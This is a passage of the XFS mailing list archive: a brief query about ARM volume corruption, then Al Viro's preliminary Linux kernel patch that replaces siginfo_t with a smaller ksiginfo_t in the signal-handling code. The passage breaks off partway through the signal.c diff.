cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8EA158F80BF for ; Fri, 14 Feb 2014 19:18:47 -0800 (PST) X-ASG-Debug-ID: 1392434326-04cb6c06cfd2130001-NocioJ Received: from mail-vc0-f193.google.com (mail-vc0-f193.google.com [209.85.220.193]) by cuda.sgi.com with ESMTP id RM2sF5RKEAaBcFSI (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 14 Feb 2014 19:18:46 -0800 (PST) X-Barracuda-Envelope-From: shaman@gdblabs.com X-Barracuda-Apparent-Source-IP: 209.85.220.193 Received: by mail-vc0-f193.google.com with SMTP id hq11so2533272vcb.0 for ; Fri, 14 Feb 2014 19:18:46 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=fdfSeNCAewcgY+7kbssKyhTYpjaLBynwuM+ySVmBKBM=; b=g74wXtv0XxBBjpj0PCvjYT1OMy09gr4C1VlXLTjIFJUrIHPu0sBd7zRTHGAbbXqqhk mEuLwOxc0VXUtwqo1vndxCbhSGIbW9DwdJnyjyogKpoqC9d4Mq6UTaSapFZl/sYq8opP gYYV0hmRPrr+IsoXNNvPbQPywDw4yFcN+TxmdLUgdzVU+3emyUDTVaJjflezhrVaBmCW eZs4j/iP90PcVrjPTCeIX0DNpHNZQtjbNCVK7vZhFaONHKL/O3gDcXSCVS+UyVktq4g2 OP18AivJqvoSivIYzyf+6d5XAbCRbpN+T+N/qka7QaCwo+/b2iA6xzCtpHLqXoA+YKw6 1qKQ== X-Gm-Message-State: ALoCoQlbXsv2/qqS2sRnGDrJaHEnmnTq7y9FBYYzHqaE25aym0fGJXTNUZTkIiVHUkH2KagiSAVH MIME-Version: 1.0 X-Received: by 10.220.10.2 with SMTP id n2mr3645380vcn.26.1392434325967; Fri, 14 Feb 2014 19:18:45 -0800 (PST) Received: by 10.52.245.4 with HTTP; Fri, 14 Feb 2014 19:18:45 -0800 (PST) X-Originating-IP: [69.27.28.250] Date: Fri, 14 Feb 2014 20:18:45 -0700 Message-ID: Subject: Volume fine on x86_64, corruption on ARM From: Bill Webster X-ASG-Orig-Subj: Volume fine on x86_64, corruption on ARM To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c3a9205f6a3f04f26961b8 X-Barracuda-Connect: mail-vc0-f193.google.com[209.85.220.193] X-Barracuda-Start-Time: 1392434326 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c3a9205f6a3f04f26961b8 Content-Type: text/plain; charset=ISO-8859-1 Has this issue been resolved? --001a11c3a9205f6a3f04f26961b8 Content-Type: text/html; charset=ISO-8859-1
Has this issue been resolved?
--001a11c3a9205f6a3f04f26961b8-- From viro@ftp.linux.org.uk Fri Feb 14 23:25:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5AF577F3F for ; Fri, 14 Feb 2014 23:25:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 137F230409A for ; Fri, 14 Feb 2014 21:25:44 -0800 (PST) X-ASG-Debug-ID: 1392441939-04bdf05165af4b0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id JmpxhrIibj11NT56 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 21:25:40 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WEXkp-0004eM-Hk; Sat, 15 Feb 2014 05:25:31 +0000 Date: Sat, 15 Feb 2014 05:25:31 +0000 From: Al Viro To: Linus Torvalds Cc: Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215052531.GX18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140213174020.GA14455@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392441940 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145131 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 09:58:47AM -0800, Linus Torvalds wrote: > On Thu, Feb 13, 2014 at 9:40 AM, Oleg Nesterov wrote: > > > > And we should be careful with SIGQUEUE_PREALLOC, at least > > collect_signal() should not do list_del_init()... Plus we need to > > handle the SEND_SIG_FORCED-like case. > > I don't think the users need to care. They'd just call > "sigqueue_free()" not knowing about our preallocations etc. That kind > of detail should be confined to inside signal.c. > > But there really aren't that many users. There's a couple of > "dequeue_signal_lock()" users, but they don't actually *want* the > siginfo at all (they're kernel threads), so we can just make that > function free the siginfo immediately (and get rid of the totally > unnecessay kernel stack allocation). And outside of signal.c only > signalfd uses "dequeue_signal()" itself, and that would be the only > one that would need to be taught to use (in signalfd_copyinfo()) and > then free the sigqueue entry. > > So it really looks like the right thing to do, and fairly > straightforward. But I'm leaving the coding proof to Al, since he > already offered ;) OK, _very_ preliminary patch follows. It's uglier than it has to and it's not in the form I would consider suitable for merge. It doesn't depend on conversions of architectures to use of ksignal as prereqs; instead of that it has config symbol (ARCH_USES_KSIGNAL) that can be selected on architectures already through that conversion (in this patch - just on x86, since that was all I could test on at the moment; e.g. alpha and arm could also get such selects right now). If it isn't selected, everything builds as usual. With large siginfo on stack for signal path, as before. We get ksiginfo_t as an alias for siginfo_t in that case, dismiss_siginfo() is a no-op, etc. If it _is_ selected, ksiginfo_t is much smaller than siginfo_t. Of course, we pay for that with ifdefs in places that need to understand [k]siginfo_t guts; signalfd_copyinfo(), copy_siginfo_from_user{,32}() and copy_ksiginfo_to_user{,32}(), tracepoint for deliver_signal(), collect_signal(), trivial ones in dequeue_signal() and an ugly bugger in ptrace_signal(). No way around that until all architectures are converted. Other places get away with some siginfo_t replaced with ksiginfo_t and dismiss_siginfo() added in some places. arch/x86/ia32/ia32_signal.c needed a bit of change (we probably ought to unify copy_siginfo_from_user32() on all architectures that have it, actually). The sucker survived LTP syscall tests and hasn't died on xfstests yet either (== doesn't seem to leak horribly). Consider it a proof-of-concept and no more than that. One thing I'm really not satisfied with is signal sending pathway - it would probably make a lot of sense to use ksiginfo there as well, and have insertion into queue simply steal info->q instead of allocating and copying. Another is that ifdefs like that are tolerable only if we plan to convert everything during this cycle; I believe it to be doable, actually. Having that sucker go before the conversions would make for simpler logistics wrt architecture trees, but it may be better to get all conversions merged first. Not sure... Anyway, here is it; comments are welcome. Signed-off-by: Al Viro --- diff --git a/arch/Kconfig b/arch/Kconfig index 80bbb8c..f753561 100644 --- a/arch/Kconfig +++ b/arch/Kconfig @@ -522,4 +522,7 @@ config OLD_SIGACTION config COMPAT_OLD_SIGACTION bool +config ARCH_USES_KSIGNAL + bool + source "kernel/gcov/Kconfig" diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig index 0af5250..4ec468d 100644 --- a/arch/x86/Kconfig +++ b/arch/x86/Kconfig @@ -127,6 +127,7 @@ config X86 select HAVE_DEBUG_STACKOVERFLOW select HAVE_IRQ_EXIT_ON_IRQ_STACK if X86_64 select HAVE_CC_STACKPROTECTOR + select ARCH_USES_KSIGNAL config INSTRUCTION_DECODER def_bool y diff --git a/arch/x86/ia32/ia32_signal.c b/arch/x86/ia32/ia32_signal.c index 2206757..611a03e 100644 --- a/arch/x86/ia32/ia32_signal.c +++ b/arch/x86/ia32/ia32_signal.c @@ -34,7 +34,7 @@ #include #include -int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) +int __copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) { int err = 0; bool ia32 = test_thread_flag(TIF_IA32); @@ -105,6 +105,25 @@ int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) return err; } +int copy_siginfo_to_user32(compat_siginfo_t __user *to, const ksiginfo_t *from) +{ + int err = 0; + if (!from->q) { + if (!access_ok(VERIFY_WRITE, to, sizeof(compat_siginfo_t))) + return -EFAULT; + put_user_try { + /* fast case */ + put_user_ex(from->si_signo, &to->si_signo); + put_user_ex(0, &to->si_errno); + put_user_ex((short)from->si_code, &to->si_code); + put_user_ex(from->si_pid, &to->si_pid); + put_user_ex(from->si_uid, &to->si_uid); + } put_user_catch(err); + return err; + } + return __copy_siginfo_to_user32(to, &from->q->info); +} + int copy_siginfo_from_user32(siginfo_t *to, compat_siginfo_t __user *from) { int err = 0; diff --git a/drivers/block/nbd.c b/drivers/block/nbd.c index 55298db..673ab73 100644 --- a/drivers/block/nbd.c +++ b/drivers/block/nbd.c @@ -201,10 +201,11 @@ static int sock_xmit(struct nbd_device *nbd, int send, void *buf, int size, msg.msg_flags); if (signal_pending(current)) { - siginfo_t info; + ksiginfo_t info; printk(KERN_WARNING "nbd (pid %d: %s) got signal %d\n", task_pid_nr(current), current->comm, dequeue_signal_lock(current, ¤t->blocked, &info)); + dismiss_siginfo(&info); result = -EINTR; sock_shutdown(nbd, !send); break; diff --git a/drivers/usb/gadget/f_mass_storage.c b/drivers/usb/gadget/f_mass_storage.c index b963939..ecacac5 100644 --- a/drivers/usb/gadget/f_mass_storage.c +++ b/drivers/usb/gadget/f_mass_storage.c @@ -2337,7 +2337,7 @@ static void fsg_disable(struct usb_function *f) static void handle_exception(struct fsg_common *common) { - siginfo_t info; + ksiginfo_t info; int i; struct fsg_buffhd *bh; enum fsg_state old_state; @@ -2351,6 +2351,7 @@ static void handle_exception(struct fsg_common *common) for (;;) { int sig = dequeue_signal_lock(current, ¤t->blocked, &info); + dismiss_siginfo(&info); if (!sig) break; if (sig != SIGUSR1) { diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 67be295..e79a23e 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -1371,7 +1371,7 @@ static void fill_auxv_note(struct memelfnote *note, struct mm_struct *mm) } static void fill_siginfo_note(struct memelfnote *note, user_siginfo_t *csigdata, - const siginfo_t *siginfo) + const ksiginfo_t *siginfo) { mm_segment_t old_fs = get_fs(); set_fs(KERNEL_DS); @@ -1578,7 +1578,7 @@ static int fill_thread_core_info(struct elf_thread_core_info *t, static int fill_note_info(struct elfhdr *elf, int phdrs, struct elf_note_info *info, - const siginfo_t *siginfo, struct pt_regs *regs) + const ksiginfo_t *siginfo, struct pt_regs *regs) { struct task_struct *dump_task = current; const struct user_regset_view *view = task_user_regset_view(dump_task); @@ -1827,7 +1827,7 @@ static int elf_note_info_init(struct elf_note_info *info) static int fill_note_info(struct elfhdr *elf, int phdrs, struct elf_note_info *info, - const siginfo_t *siginfo, struct pt_regs *regs) + const ksiginfo_t *siginfo, struct pt_regs *regs) { struct list_head *t; struct core_thread *ct; diff --git a/fs/coredump.c b/fs/coredump.c index e3ad709..44ff98d 100644 --- a/fs/coredump.c +++ b/fs/coredump.c @@ -484,7 +484,7 @@ static int umh_pipe_setup(struct subprocess_info *info, struct cred *new) return err; } -void do_coredump(const siginfo_t *siginfo) +void do_coredump(const ksiginfo_t *siginfo) { struct core_state core_state; struct core_name cn; diff --git a/fs/jffs2/background.c b/fs/jffs2/background.c index 2b60ce1..aefdff2 100644 --- a/fs/jffs2/background.c +++ b/fs/jffs2/background.c @@ -119,13 +119,14 @@ static int jffs2_garbage_collect_thread(void *_c) /* Put_super will send a SIGKILL and then wait on the sem. */ while (signal_pending(current) || freezing(current)) { - siginfo_t info; + ksiginfo_t info; unsigned long signr; if (try_to_freeze()) goto again; signr = dequeue_signal_lock(current, ¤t->blocked, &info); + dismiss_siginfo(&info); switch(signr) { case SIGSTOP: diff --git a/fs/signalfd.c b/fs/signalfd.c index 424b7b6..d6f3c47 100644 --- a/fs/signalfd.c +++ b/fs/signalfd.c @@ -78,8 +78,9 @@ static unsigned int signalfd_poll(struct file *file, poll_table *wait) * Copied from copy_siginfo_to_user() in kernel/signal.c */ static int signalfd_copyinfo(struct signalfd_siginfo __user *uinfo, - siginfo_t const *kinfo) + const ksiginfo_t *from) { + const siginfo_t *kinfo; long err; BUILD_BUG_ON(sizeof(struct signalfd_siginfo) != 128); @@ -89,6 +90,19 @@ static int signalfd_copyinfo(struct signalfd_siginfo __user *uinfo, */ err = __clear_user(uinfo, sizeof(*uinfo)); +#ifdef CONFIG_ARCH_USES_KSIGNAL + if (!from->q) { + err |= __put_user(from->si_signo, &uinfo->ssi_signo); + err |= __put_user(0, &uinfo->ssi_errno); + err |= __put_user((short) from->si_code, &uinfo->ssi_code); + err |= __put_user(from->si_pid, &uinfo->ssi_pid); + err |= __put_user(from->si_uid, &uinfo->ssi_uid); + goto out; + } + kinfo = &from->q->info; +#else + kinfo = from; +#endif /* * If you change siginfo_t structure, please be sure * this code is fixed accordingly. @@ -152,10 +166,11 @@ static int signalfd_copyinfo(struct signalfd_siginfo __user *uinfo, break; } +out: return err ? -EFAULT: sizeof(*uinfo); } -static ssize_t signalfd_dequeue(struct signalfd_ctx *ctx, siginfo_t *info, +static ssize_t signalfd_dequeue(struct signalfd_ctx *ctx, ksiginfo_t *info, int nonblock) { ssize_t ret; @@ -207,7 +222,7 @@ static ssize_t signalfd_read(struct file *file, char __user *buf, size_t count, struct signalfd_siginfo __user *siginfo; int nonblock = file->f_flags & O_NONBLOCK; ssize_t ret, total = 0; - siginfo_t info; + ksiginfo_t info; count /= sizeof(struct signalfd_siginfo); if (!count) @@ -219,6 +234,7 @@ static ssize_t signalfd_read(struct file *file, char __user *buf, size_t count, if (unlikely(ret <= 0)) break; ret = signalfd_copyinfo(siginfo, &info); + dismiss_siginfo(&info); if (ret < 0) break; siginfo++; diff --git a/include/asm-generic/siginfo.h b/include/asm-generic/siginfo.h index 3d1a3af..43a6895 100644 --- a/include/asm-generic/siginfo.h +++ b/include/asm-generic/siginfo.h @@ -15,6 +15,11 @@ #define __SI_CODE(T,N) ((T) | ((N) & 0xffff)) struct siginfo; +#ifndef CONFIG_ARCH_USES_KSIGNAL +#define small_siginfo siginfo +#else +struct small_siginfo; +#endif void do_schedule_next_timer(struct siginfo *info); #ifndef HAVE_ARCH_COPY_SIGINFO @@ -32,6 +37,8 @@ static inline void copy_siginfo(struct siginfo *to, struct siginfo *from) #endif -extern int copy_siginfo_to_user(struct siginfo __user *to, const struct siginfo *from); +extern int copy_ksiginfo_from_user(struct small_siginfo *to, const struct siginfo __user *from); +extern int copy_siginfo_to_user(struct siginfo __user *to, const struct small_siginfo *from); +extern int __copy_siginfo_to_user(struct siginfo __user *to, const struct siginfo *from); #endif diff --git a/include/linux/binfmts.h b/include/linux/binfmts.h index b4a745d..912d8d4 100644 --- a/include/linux/binfmts.h +++ b/include/linux/binfmts.h @@ -56,7 +56,7 @@ struct linux_binprm { /* Function parameter for binfmt->coredump */ struct coredump_params { - const siginfo_t *siginfo; + const ksiginfo_t *siginfo; struct pt_regs *regs; struct file *file; unsigned long limit; diff --git a/include/linux/compat.h b/include/linux/compat.h index 3f448c6..9ab31c9 100644 --- a/include/linux/compat.h +++ b/include/linux/compat.h @@ -362,7 +362,9 @@ long compat_get_bitmap(unsigned long *mask, const compat_ulong_t __user *umask, long compat_put_bitmap(compat_ulong_t __user *umask, unsigned long *mask, unsigned long bitmap_size); int copy_siginfo_from_user32(siginfo_t *to, struct compat_siginfo __user *from); -int copy_siginfo_to_user32(struct compat_siginfo __user *to, const siginfo_t *from); +int copy_ksiginfo_from_user32(ksiginfo_t *to, struct compat_siginfo __user *from); +int copy_siginfo_to_user32(struct compat_siginfo __user *to, const ksiginfo_t *from); +int __copy_siginfo_to_user32(struct compat_siginfo __user *to, const siginfo_t *from); int get_compat_sigevent(struct sigevent *event, const struct compat_sigevent __user *u_event); long compat_sys_rt_tgsigqueueinfo(compat_pid_t tgid, compat_pid_t pid, int sig, diff --git a/include/linux/coredump.h b/include/linux/coredump.h index d016a12..3c9f79c 100644 --- a/include/linux/coredump.h +++ b/include/linux/coredump.h @@ -15,9 +15,9 @@ extern int dump_skip(struct coredump_params *cprm, size_t nr); extern int dump_emit(struct coredump_params *cprm, const void *addr, int nr); extern int dump_align(struct coredump_params *cprm, int align); #ifdef CONFIG_COREDUMP -extern void do_coredump(const siginfo_t *siginfo); +extern void do_coredump(const ksiginfo_t *siginfo); #else -static inline void do_coredump(const siginfo_t *siginfo) {} +static inline void do_coredump(const ksiginfo_t *siginfo) {} #endif #endif /* _LINUX_COREDUMP_H */ diff --git a/include/linux/sched.h b/include/linux/sched.h index a781dec..60834bf 100644 --- a/include/linux/sched.h +++ b/include/linux/sched.h @@ -1428,7 +1428,7 @@ struct task_struct { struct io_context *io_context; unsigned long ptrace_message; - siginfo_t *last_siginfo; /* For ptrace use. */ + ksiginfo_t *last_siginfo; /* For ptrace use. */ struct task_io_accounting ioac; #if defined(CONFIG_TASK_XACCT) u64 acct_rss_mem1; /* accumulated rss usage */ @@ -2177,9 +2177,9 @@ extern void flush_signals(struct task_struct *); extern void __flush_signals(struct task_struct *); extern void ignore_signals(struct task_struct *); extern void flush_signal_handlers(struct task_struct *, int force_default); -extern int dequeue_signal(struct task_struct *tsk, sigset_t *mask, siginfo_t *info); +extern int dequeue_signal(struct task_struct *tsk, sigset_t *mask, ksiginfo_t *info); -static inline int dequeue_signal_lock(struct task_struct *tsk, sigset_t *mask, siginfo_t *info) +static inline int dequeue_signal_lock(struct task_struct *tsk, sigset_t *mask, ksiginfo_t *info) { unsigned long flags; int ret; @@ -2204,7 +2204,6 @@ extern int kill_pid_info_as_cred(int, struct siginfo *, struct pid *, const struct cred *, u32); extern int kill_pgrp(struct pid *pid, int sig, int priv); extern int kill_pid(struct pid *pid, int sig, int priv); -extern int kill_proc_info(int, struct siginfo *, pid_t); extern __must_check bool do_notify_parent(struct task_struct *, int); extern void __wake_up_parent(struct task_struct *p, struct task_struct *parent); extern void force_sig(int, struct task_struct *); diff --git a/include/linux/signal.h b/include/linux/signal.h index 2ac423b..c999b4a 100644 --- a/include/linux/signal.h +++ b/include/linux/signal.h @@ -236,12 +236,29 @@ static inline int valid_signal(unsigned long sig) struct timespec; struct pt_regs; +#ifdef CONFIG_ARCH_USES_KSIGNAL +typedef struct small_siginfo { + int si_signo; + int si_code; + union { struct { /* yecch... */ + __kernel_pid_t _pid; + __ARCH_SI_UID_T _uid; + } _kill; } _sifields; + struct sigqueue *q; +} ksiginfo_t; +extern void dismiss_siginfo(ksiginfo_t *); +#else +#define small_siginfo siginfo +#define ksiginfo_t siginfo_t +#define dismiss_siginfo(info) ((void)0) +#endif + extern int next_signal(struct sigpending *pending, sigset_t *mask); extern int do_send_sig_info(int sig, struct siginfo *info, struct task_struct *p, bool group); extern int group_send_sig_info(int sig, struct siginfo *info, struct task_struct *p); extern int __group_send_sig_info(int, struct siginfo *, struct task_struct *); -extern int do_sigtimedwait(const sigset_t *, siginfo_t *, +extern int do_sigtimedwait(const sigset_t *, ksiginfo_t *, const struct timespec *); extern int sigprocmask(int, sigset_t *, sigset_t *); extern void set_current_blocked(sigset_t *); @@ -281,13 +298,13 @@ struct old_sigaction { struct ksignal { struct k_sigaction ka; - siginfo_t info; + ksiginfo_t info; int sig; }; -extern int get_signal_to_deliver(siginfo_t *info, struct k_sigaction *return_ka, struct pt_regs *regs, void *cookie); +extern int get_signal_to_deliver(ksiginfo_t *info, struct k_sigaction *return_ka, struct pt_regs *regs, void *cookie); extern void signal_setup_done(int failed, struct ksignal *ksig, int stepping); -extern void signal_delivered(int sig, siginfo_t *info, struct k_sigaction *ka, struct pt_regs *regs, int stepping); +extern void signal_delivered(int sig, ksiginfo_t *info, struct k_sigaction *ka, struct pt_regs *regs, int stepping); extern void exit_signals(struct task_struct *tsk); /* diff --git a/include/linux/tracehook.h b/include/linux/tracehook.h index 1e98b55..c9e7a0e 100644 --- a/include/linux/tracehook.h +++ b/include/linux/tracehook.h @@ -146,7 +146,7 @@ static inline void tracehook_report_syscall_exit(struct pt_regs *regs, int step) * Called without locks, shortly before returning to user mode * (or handling more signals). */ -static inline void tracehook_signal_handler(int sig, siginfo_t *info, +static inline void tracehook_signal_handler(int sig, ksiginfo_t *info, const struct k_sigaction *ka, struct pt_regs *regs, int stepping) { diff --git a/include/trace/events/signal.h b/include/trace/events/signal.h index 39a8a43..1494a3e 100644 --- a/include/trace/events/signal.h +++ b/include/trace/events/signal.h @@ -23,6 +23,27 @@ } \ } while (0) +#ifndef CONFIG_ARCH_USES_KSIGNAL +#define TP_SI_ERRNO(info) info->si_errno +#else +#define TP_SI_ERRNO(info) info->q ? info->q->info.si_errno : 0 +#endif + +#define TP_STORE_KSIGINFO(__entry, info) \ + do { \ + if (info == (ksiginfo_t *)SEND_SIG_NOINFO || \ + info == (ksiginfo_t *)SEND_SIG_FORCED) { \ + __entry->errno = 0; \ + __entry->code = SI_USER; \ + } else if (info == (ksiginfo_t *)SEND_SIG_PRIV) {\ + __entry->errno = 0; \ + __entry->code = SI_KERNEL; \ + } else { \ + __entry->errno = TP_SI_ERRNO(info); \ + __entry->code = info->si_code; \ + } \ + } while (0) + #ifndef TRACE_HEADER_MULTI_READ enum { TRACE_SIGNAL_DELIVERED, @@ -95,7 +116,7 @@ TRACE_EVENT(signal_generate, */ TRACE_EVENT(signal_deliver, - TP_PROTO(int sig, struct siginfo *info, struct k_sigaction *ka), + TP_PROTO(int sig, ksiginfo_t *info, struct k_sigaction *ka), TP_ARGS(sig, info, ka), @@ -109,7 +130,7 @@ TRACE_EVENT(signal_deliver, TP_fast_assign( __entry->sig = sig; - TP_STORE_SIGINFO(__entry, info); + TP_STORE_KSIGINFO(__entry, info); __entry->sa_handler = (unsigned long)ka->sa.sa_handler; __entry->sa_flags = ka->sa.sa_flags; ), diff --git a/kernel/compat.c b/kernel/compat.c index 0a09e48..82084b4 100644 --- a/kernel/compat.c +++ b/kernel/compat.c @@ -579,7 +579,7 @@ COMPAT_SYSCALL_DEFINE5(waitid, BUG_ON(info.si_code & __SI_MASK); info.si_code |= __SI_CHLD; - return copy_siginfo_to_user32(uinfo, &info); + return __copy_siginfo_to_user32(uinfo, &info); } static int compat_get_user_cpu_mask(compat_ulong_t __user *user_mask_ptr, @@ -981,7 +981,7 @@ COMPAT_SYSCALL_DEFINE4(rt_sigtimedwait, compat_sigset_t __user *, uthese, compat_sigset_t s32; sigset_t s; struct timespec t; - siginfo_t info; + ksiginfo_t info; long ret; if (sigsetsize != sizeof(sigset_t)) diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 1f4bcb3..11223d4 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -589,7 +589,7 @@ static int ptrace_setoptions(struct task_struct *child, unsigned long data) return 0; } -static int ptrace_getsiginfo(struct task_struct *child, siginfo_t *info) +static int ptrace_getsiginfo(struct task_struct *child, ksiginfo_t *info) { unsigned long flags; int error = -ESRCH; @@ -605,7 +605,7 @@ static int ptrace_getsiginfo(struct task_struct *child, siginfo_t *info) return error; } -static int ptrace_setsiginfo(struct task_struct *child, const siginfo_t *info) +static int ptrace_setsiginfo(struct task_struct *child, ksiginfo_t *info) { unsigned long flags; int error = -ESRCH; @@ -613,11 +613,14 @@ static int ptrace_setsiginfo(struct task_struct *child, const siginfo_t *info) if (lock_task_sighand(child, &flags)) { error = -EINVAL; if (likely(child->last_siginfo != NULL)) { + dismiss_siginfo(child->last_siginfo); *child->last_siginfo = *info; error = 0; } unlock_task_sighand(child, &flags); } + if (error) + dismiss_siginfo(info); return error; } @@ -666,7 +669,7 @@ static int ptrace_peek_siginfo(struct task_struct *child, if (unlikely(is_compat_task())) { compat_siginfo_t __user *uinfo = compat_ptr(data); - if (copy_siginfo_to_user32(uinfo, &info) || + if (__copy_siginfo_to_user32(uinfo, &info) || __put_user(info.si_code, &uinfo->si_code)) { ret = -EFAULT; break; @@ -677,7 +680,7 @@ static int ptrace_peek_siginfo(struct task_struct *child, { siginfo_t __user *uinfo = (siginfo_t __user *) data; - if (copy_siginfo_to_user(uinfo, &info) || + if (__copy_siginfo_to_user(uinfo, &info) || __put_user(info.si_code, &uinfo->si_code)) { ret = -EFAULT; break; @@ -805,7 +808,7 @@ int ptrace_request(struct task_struct *child, long request, { bool seized = child->ptrace & PT_SEIZED; int ret = -EIO; - siginfo_t siginfo, *si; + ksiginfo_t siginfo, *si; void __user *datavp = (void __user *) data; unsigned long __user *datalp = datavp; unsigned long flags; @@ -839,9 +842,8 @@ int ptrace_request(struct task_struct *child, long request, break; case PTRACE_SETSIGINFO: - if (copy_from_user(&siginfo, datavp, sizeof siginfo)) - ret = -EFAULT; - else + ret = copy_ksiginfo_from_user(&siginfo, datavp); + if (!ret) ret = ptrace_setsiginfo(child, &siginfo); break; @@ -1107,7 +1109,7 @@ int compat_ptrace_request(struct task_struct *child, compat_long_t request, { compat_ulong_t __user *datap = compat_ptr(data); compat_ulong_t word; - siginfo_t siginfo; + ksiginfo_t siginfo; int ret; switch (request) { @@ -1139,8 +1141,7 @@ int compat_ptrace_request(struct task_struct *child, compat_long_t request, break; case PTRACE_SETSIGINFO: - memset(&siginfo, 0, sizeof siginfo); - if (copy_siginfo_from_user32( + if (copy_ksiginfo_from_user32( &siginfo, (struct compat_siginfo __user *) datap)) ret = -EFAULT; else diff --git a/kernel/signal.c b/kernel/signal.c index 48cf9fc..2b641aa 100644 --- a/kernel/signal.c +++ b/kernel/signal.c @@ -540,7 +540,18 @@ unblock_all_signals(void) spin_unlock_irqrestore(¤t->sighand->siglock, flags); } -static void collect_signal(int sig, struct sigpending *list, siginfo_t *info) +#ifdef CONFIG_ARCH_USES_KSIGNAL +void dismiss_siginfo(ksiginfo_t *info) +{ + if (info->q) + __sigqueue_free(info->q); + info->q = NULL; +} +EXPORT_SYMBOL(dismiss_siginfo); +#endif + +static void collect_signal(int sig, struct sigpending *list, + ksiginfo_t *info) { struct sigqueue *q, *first = NULL; @@ -561,8 +572,14 @@ static void collect_signal(int sig, struct sigpending *list, siginfo_t *info) if (first) { still_pending: list_del_init(&first->list); +#ifndef CONFIG_ARCH_USES_KSIGNAL copy_siginfo(info, &first->info); __sigqueue_free(first); +#else + info->si_signo = sig; + info->si_code = first->info.si_code; + info->q = first; +#endif } else { /* * Ok, it wasn't in the queue. This must be @@ -570,15 +587,19 @@ still_pending: * out of queue space. So zero out the info. */ info->si_signo = sig; - info->si_errno = 0; info->si_code = SI_USER; info->si_pid = 0; info->si_uid = 0; +#ifndef CONFIG_ARCH_USES_KSIGNAL + info->si_errno = 0; +#else + info->q = NULL; +#endif } } static int __dequeue_signal(struct sigpending *pending, sigset_t *mask, - siginfo_t *info) + ksiginfo_t *info) { int sig = next_signal(pending, mask); @@ -604,7 +625,7 @@ static int __dequeue_signal(struct sigpending *pending, sigset_t *mask, * * All callers have to hold the siglock. */ -int dequeue_signal(struct task_struct *tsk, sigset_t *mask, siginfo_t *info) +int dequeue_signal(struct task_struct *tsk, sigset_t *mask, ksiginfo_t *info) { int signr; @@ -659,7 +680,12 @@ int dequeue_signal(struct task_struct *tsk, sigset_t *mask, siginfo_t *info) */ current->jobctl |= JOBCTL_STOP_DEQUEUED; } +#ifndef CONFIG_ARCH_USES_KSIGNAL if ((info->si_code & __SI_MASK) == __SI_TIMER && info->si_sys_private) { +#else + if ((info->si_code & __SI_MASK) == __SI_TIMER && + info->q->info.si_sys_private) { +#endif /* * Release the siglock to ensure proper locking order * of timer locks outside of siglocks. Note, we leave @@ -667,7 +693,11 @@ int dequeue_signal(struct task_struct *tsk, sigset_t *mask, siginfo_t *info) * about to disable them again anyway. */ spin_unlock(&tsk->sighand->siglock); +#ifndef CONFIG_ARCH_USES_KSIGNAL do_schedule_next_timer(info); +#else + do_schedule_next_timer(&info->q->info); +#endif 